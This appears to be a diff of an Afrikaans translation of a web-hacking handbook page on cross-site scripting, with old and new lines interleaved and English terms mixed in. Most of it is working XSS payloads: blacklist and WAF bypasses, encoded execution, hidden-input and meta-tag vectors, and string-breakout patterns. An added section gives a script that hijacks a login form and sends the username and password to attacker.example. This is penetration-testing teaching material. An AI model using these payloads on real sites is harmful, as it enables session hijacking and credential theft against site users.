-_**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die vorige afdeling ook geldig aangesien jy binne 'n attribuut is.**_
+_**In hierdie geval is die HTML encoding en die Unicode encoding trick van die vorige afdeling ook geldig aangesien jy binne 'n attribute is.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
+Boonop is daar nog 'n ander **nuttige truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL encoded, sal dit URL decoded word voordat dit uitgevoer word.** Dus, as jy moet **ontsnap** uit die **string** met 'n **enkele aanhalingsteken** en jy sien dat **dit URL encoded word**, onthou dat **dit maak nie saak nie,** dit sal tydens die **uitvoering** as 'n **enkele aanhalingsteken** geinterpreteer word.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
+Let daarop dat as jy probeer om **albei te gebruik** `URLencode + HTMLencode` in enige volgorde om die **payload** te enkodeer, sal dit **nie** **werk** nie, maar jy kan **hulle binne die payload meng**.
 
-**Gebruik Hex en Octal kodering met `javascript:`**
+**Gebruik Hex- en Oktale enkodering met `javascript:`**
 
-Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
+Jy kan **Hex** en **Octal encode** binne die `src`-attribuut van `iframe` (ten minste) gebruik om **HTML tags to execute JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -376,20 +380,21 @@ Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### Omgekeerde tab nabbing
+### Reverse tab nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
-As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk die **volgende bladsy om hierdie gedrag te benut**:
+As jy enige URL in 'n willekeurige **`<a href=`** tag kan inprop wat die **`target="_blank" and rel="opener"`** attributes bevat, kyk na die **volgende bladsy om hierdie gedrag te misbruik**:
+
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### op Gebeurtenis Hanteerders Omseiling
+### on Event Handlers Bypass
 
-Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
-As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
+Eerstens, kyk na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
+Indien daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -404,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
+### XSS in "Onuitbuitbare tags" (hidden input, link, canonical, meta)
 
-Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
+Van [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om hidden inputs te misbruik met:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-En in **meta tags**:
+En in **meta-etikette**:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -425,37 +430,37 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n versteekte attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor:
+Van [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload inside a hidden attribute** uitvoer, mits jy die **slagoffer** kan oorreed om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vektor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**Die XSS payload sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`**
+**Die XSS payload sal iets soos volg wees: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Swartlys Omseilings
+### Blacklist Bypasses
 
-Verskeie truuks met die gebruik van verskillende kodering is reeds in hierdie afdeling blootgestel. Gaan **terug om te leer waar jy kan gebruik:**
+Verskeie truuks met verskillende kodering is reeds in hierdie afdeling blootgelê. Gaan **terug om te leer waar jy dit kan gebruik:**
 
-- **HTML kodering (HTML etikette)**
-- **Unicode kodering (kan geldige JS kode wees):** `\u0061lert(1)`
-- **URL kodering**
-- **Hex en Oktale kodering**
-- **data kodering**
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
+- **URL encoding**
+- **Hex and Octal encoding**
+- **data encoding**
 
-**Omseilings vir HTML etikette en eienskappe**
+**Bypasses for HTML tags and attributes**
 
-Lees die [Swartlys Omseilings van die vorige afdeling](#blacklist-bypasses).
+Lees die[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
-**Omseilings vir JavaScript kode**
+**Bypasses for JavaScript code**
 
-Lees die J[avaScript omseiling swartlys van die volgende afdeling](#javascript-bypass-blacklists-techniques).
+Lees die J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset te wysig** om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
+As jy 'n **XSS in 'n baie klein deel** van die web vind wat 'n soort interaksie vereis (miskien 'n klein skakel in die footer met 'n onmouseover element), kan jy probeer om die **ruimte wat daardie element beset** te wysig om die kans te maksimeer dat die skakel geaktiveer word.
 
-Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Byvoorbeeld, jy kan stylering by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
+Maar, as die WAF die style-attribuut filtreer, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -463,36 +468,51 @@ en
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Nou kan jy ons skakel wysig en dit na die vorm bring
+Nou kan jy ons skakel wysig en dit in die vorm bring
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
 Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Inspuiting binne JavaScript kode
+## Injecting inside JavaScript code
 
-In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
+In hierdie geval sal jou **input** weerspieël word binne die JS code van 'n `.js` file of tussen `<script>...</script>` tags of tussen HTML events wat JS code kan uitvoer of tussen attribuutte wat die `javascript:` protocol aanvaar.
 
-### Ontsnapping van \<script> etiket
+### Ontsnap \<script> tag
 
-As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit om te ontsnap:**
+As jou code binne `<script> [...] var input = 'reflected data' [...] </script>` ingesit is, kan jy maklik die sluiting van die `<script>` tag **ontsnap**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
+Let daarop dat ons in hierdie voorbeeld **nie eens die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-ontleding eers deur die blaaier uitgevoer word**, wat behels dat bladsyelemente geïdentifiseer word, insluitend blokke van script. Die ontleding van JavaScript om die ingeslote scripts te verstaan en uit te voer, word eers daarna uitgevoer.
 
-### Binne JS-kode
+### Binne JS code
 
-As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer **geleë** is en **arbitraire JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
+If `<>` are being sanitised you can still **ontsnap die string** waar jou inset **geplaas is** en **voer arbitrêre JS uit**. Dit is belangrik om die **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS code nie uitgevoer word nie:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
-### Template literals \`\`
+#### JS-in-JS string break → inject → repair pattern
 
-Om **strings** te konstrueer, behalwe vir enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingebedde JS-uitdrukkings** te gebruik met `${ ... }` sintaksis.\
-As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
+Wanneer gebruikersinvoer binne 'n aangehaalde JavaScript-string beland (bv. server-side echo in 'n inline script), kan jy die string beëindig, inject code, en repair die syntax om parsing geldig te hou. Generiese geraamte:
+```
+"            // end original string
+;            // safely terminate the statement
+<INJECTION>  // attacker-controlled JS
+; a = "      // repair and resume expected string/statement
+```
+Voorbeeld URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word:
+```
+?param=test";<INJECTION>;a="
+```
+Dit voer aanvaller JS uit sonder om die HTML-konteks te hoef aan te raak (pure JS-in-JS). Kombineer met blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer.
+
+### Template literals ``
+
+Om **strings** te konstrueer, benewens enkele en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien hulle toelaat om **ingeslote JS-uitdrukkings** te gebruik met `${ ... }` sintaksis.\
+Dus, as jy vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
 
 Dit kan **abused** word met:
 ```javascript
@@ -506,20 +526,35 @@ return loop
 }
 loop``
 ```
-### Gecodeerde kode-uitvoering
+### Encoded code execution
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-### Unicode Kodering JS uitvoering
+#### Aflewerbare payloads met eval(atob()) en omvangsnuanses
+
+Om URLs korter te hou en eenvoudige sleutelwoordfilters te omseil, kan jy jou werklike logika base64-enkodeer en dit evalueer met `eval(atob('...'))`. As eenvoudige sleutelwoordfiltrering identifikatore soos `alert`, `eval`, of `atob` blokkeer, gebruik Unicode-gescapeerde identifikatore wat in die blaaier identies saamstel maar string-ooreenstemmingsfilters omseil:
+```
+\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
+\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
+```
+Belangrike nuansie oor scoping: `const`/`let` verklaar binne `eval()` is block-scoped en skep NIE globals nie; hulle sal nie deur later scripts toeganklik wees nie. Gebruik 'n dinamies ingespuite `<script>` element om globale, nie-herbindbare hooks te definieer wanneer nodig (bv., om te hijack 'n form handler):
+```javascript
+var s = document.createElement('script');
+s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
+document.head.appendChild(s);
+```
+Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
+### Unicode-enkodering van JS-uitvoering
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript omseil swartlyste tegnieke
+### JavaScript bypass blacklists tegnieke
 
 **Strings**
 ```javascript
@@ -538,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Spesiale ontsnapings**
+**Spesiale ontsnappingsreekse**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -552,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**Ruimte vervangings binne JS kode**
+**Spasievervangings in JS-kode**
 ```javascript
 <TAB>
 /**/
 ```
-**JavaScript kommentaar (van** [**JavaScript Kommentaar**](#javascript-comments) **trik)**
+**JavaScript comments (van** [**JavaScript Comments**](#javascript-comments) **truuk)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -565,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript nuwe lyne (van** [**JavaScript nuwe lyn**](#javascript-new-lines) **trik)**
+**JavaScript new lines (van** [**JavaScript new line**](#javascript-new-lines) **truuk)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -577,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript spasie**
+**JavaScript spasiekarakters**
 ```javascript
 log=[];
 function funct(){}
@@ -594,7 +629,7 @@ console.log(log)
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
-**Javascript binne 'n opmerking**
+**Javascript binne 'n kommentaar**
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send
@@ -680,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**Arbitraire funksie (alert) oproep**
+**Arbitrêre funksie (alert) oproep**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -740,56 +775,54 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
-## **DOM kwesbaarhede**
+## **DOM vulnerabilities**
 
-Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soos `location.href` gebruik. 'n Aanvaller kan dit misbruik om arbitrêre JS kode uit te voer.\
-**As gevolg van die uitbreiding van die verduideliking van** [**DOM kwesbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:**
+Daar is **JS code** wat **onveilige data gebruik wat deur 'n attacker beheer word** soos `location.href`. 'n attacker kan dit misbruik om arbitrary JS code uit te voer.\
+**Weens die uitbreiding van die verduideliking van** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe dit veroorsaak word, en hoe om dit te benut**.\
-Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
+Daar sal jy 'n gedetailleerde **verduideliking van wat DOM vulnerabilities is, hoe dit veroorsaak word, en hoe om dit te exploiteer** vind.\
+Ook, moenie vergeet dat **by die einde van die genoemde post** jy 'n verduideliking oor [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) kan vind.
 
-### Opgradering van Self-XSS
+### Upgrading Self-XSS
 
-### Koekie XSS
+### Cookie XSS
 
-As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
+As jy 'n XSS kan trigger deur die payload in 'n cookie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **vulnerable subdomain to XSS** vind, kan jy hierdie XSS misbruik om 'n cookie in die hele domain te inject en sodoende die cookie XSS in die main domain of ander subdomains (diegene vatbaar vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Jy kan 'n groot misbruik van hierdie tegniek vind in [**hierdie blogpos**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Stuur jou sessie na die admin
+### Stuur jou session na die admin
 
-Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid ontketen.
+Miskien kan 'n user sy profile met die admin deel, en as die self XSS in die profile van die user is en die admin dit besoek, sal hy die vulnerabiliteit trigger.
 
-### Sessiemirrow
+### Session Mirroring
 
-As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld, wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
-
-Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
+Indien jy 'n self XSS vind en die webblad het 'n **session mirroring for administrators**, byvoorbeeld wat clients toelaat om hulp te vra en sodat die admin sien wat jy in jou session sien maar vanuit sy session, kan jy die **administrator laat trigger jou self XSS** en sy cookies/session steel.
 
 ## Ander Bypasses
 
-### Genormaliseerde Unicode
+### Normalised Unicode
 
-Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die bediener (of aan die kliëntkant) en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/index.html#xss-cross-site-scripting).
+Jy kan kyk of die **reflected values** op die server (of aan die client side) **unicode normalized** word en hierdie funksionaliteit misbruik om protections te bypass. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
-### PHP FILTER_VALIDATE_EMAIL vlag Bypass
+### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
 "><svg/onload=confirm(1)>"@x.y
 ```
-### Ruby-On-Rails omseiling
+### Ruby-On-Rails bypass
 
-As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
-Form voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
+Vanweë **RoR mass assignment** word aanhalingstekens in die HTML ingevoeg en word die aanhalingsbeperking omseil en aanvullende velde (onfocus) binne die tag bygevoeg kan word.\
+Formuliervoorbeeld ([van hierdie verslag](https://hackerone.com/reports/709336)), as jy die payload stuur:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@@ -829,24 +862,24 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS met header-inspuiting in 'n 302 respons
+### XSS with header injection in a 302 response
 
-As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
+As jy vind dat jy **inject headers in a 302 Redirect response** kan, kan jy probeer om die **browser arbitrary JavaScript** te laat uitvoer. Dit is **nie eenvoudig** nie aangesien moderne browsers nie die HTTP response body interpreteer as die HTTP response status code `302` is nie, so net 'n cross-site scripting payload is nutteloos.
 
-In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
-Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
+In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle in die Location header kan toets en kyk of enige van hulle die browser toelaat om die XSS payload in die body te inspecteer en uit te voer.\
+Voorheen bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location header_, `resource://`.
 
-### Slegs Letters, Nommers en Punte
+### Slegs Letters, Syfers en Punte
 
-As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
+As jy in staat is om die **callback** aan te dui wat javascript gaan **execute**, beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie berig**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
 
-### Geldige `<script>` Inhoud-Tipes vir XSS
+### Valid `<script>` Content-Types to XSS
 
-(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoud-tipe** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
 
-> Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
+> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Die enigste **Content-Type**s wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+Die enigste **Content-Type**s wat Chrome sal ondersteun om 'n **loaded script** uit te voer is dié wat binne die const **`kSupportedJavascriptTypes`** in [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) voorkom.
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -868,16 +901,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Skriptipe na XSS
+### Skrip-tipes vir XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skrip te laai?
+(Van [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dus, watter tipes kan aangedui word om 'n skrip te laai?
 ```html
 <script type="???"></script>
 ```
 Die antwoord is:
 
-- **module** (verstek, niks om te verduidelik nie)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS…) saam te pak in 'n **`.wbn`** lêer.
+- **module** (default, niks om te verduidelik nie)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n funksie wat jou toelaat om 'n verskeidenheid data (HTML, CSS, JS…) saam in 'n **`.wbn`**-lêer te pak.
 ```html
 <script type="webbundle">
 {
@@ -887,7 +920,7 @@ Die antwoord is:
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** Laat toe om die invoer-sintaksis te verbeter
+- [**importmap**](https://github.com/WICG/import-maps)**:** Laat toe om die import-sintaksis te verbeter
 ```html
 <script type="importmap">
 {
@@ -904,9 +937,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS aktiveer.
+Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek na eval te remap om dit te misbruik en XSS te veroorsaak.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur vooraf-rendering veroorsaak word, op te los. Dit werk soos volg:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie funksie is hoofsaaklik bedoel om 'n paar probleme wat deur pre-rendering veroorsaak word, op te los. Dit werk soos volg:
 ```html
 <script type="speculationrules">
 {
@@ -922,24 +955,24 @@ Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree
 }
 </script>
 ```
-### Web Content-Tipes na XSS
+### Web Content-tipes vir XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:
+(Van [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende content-tipes kan XSS in alle blaaiers uitvoer:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? nie in die lys nie, maar ek dink ek het dit in 'n CTF gesien)
-- application/rss+xml (af)
-- application/atom+xml (af)
+- text/plain (?? nie in die lys nie maar ek dink ek het dit in 'n CTF gesien)
+- application/rss+xml (off)
+- application/atom+xml (off)
 
-In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, sien: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### xml Inhouds tipe
+### xml Inhoudstipe
 
-As die bladsy 'n text/xml inhouds tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
+As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespace aan te dui en arbitrêre JS uit te voer:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -949,9 +982,9 @@ As die bladsy 'n text/xml inhouds tipe teruggee, is dit moontlik om 'n naamruimt
 ```
 ### Spesiale Vervangingspatrone
 
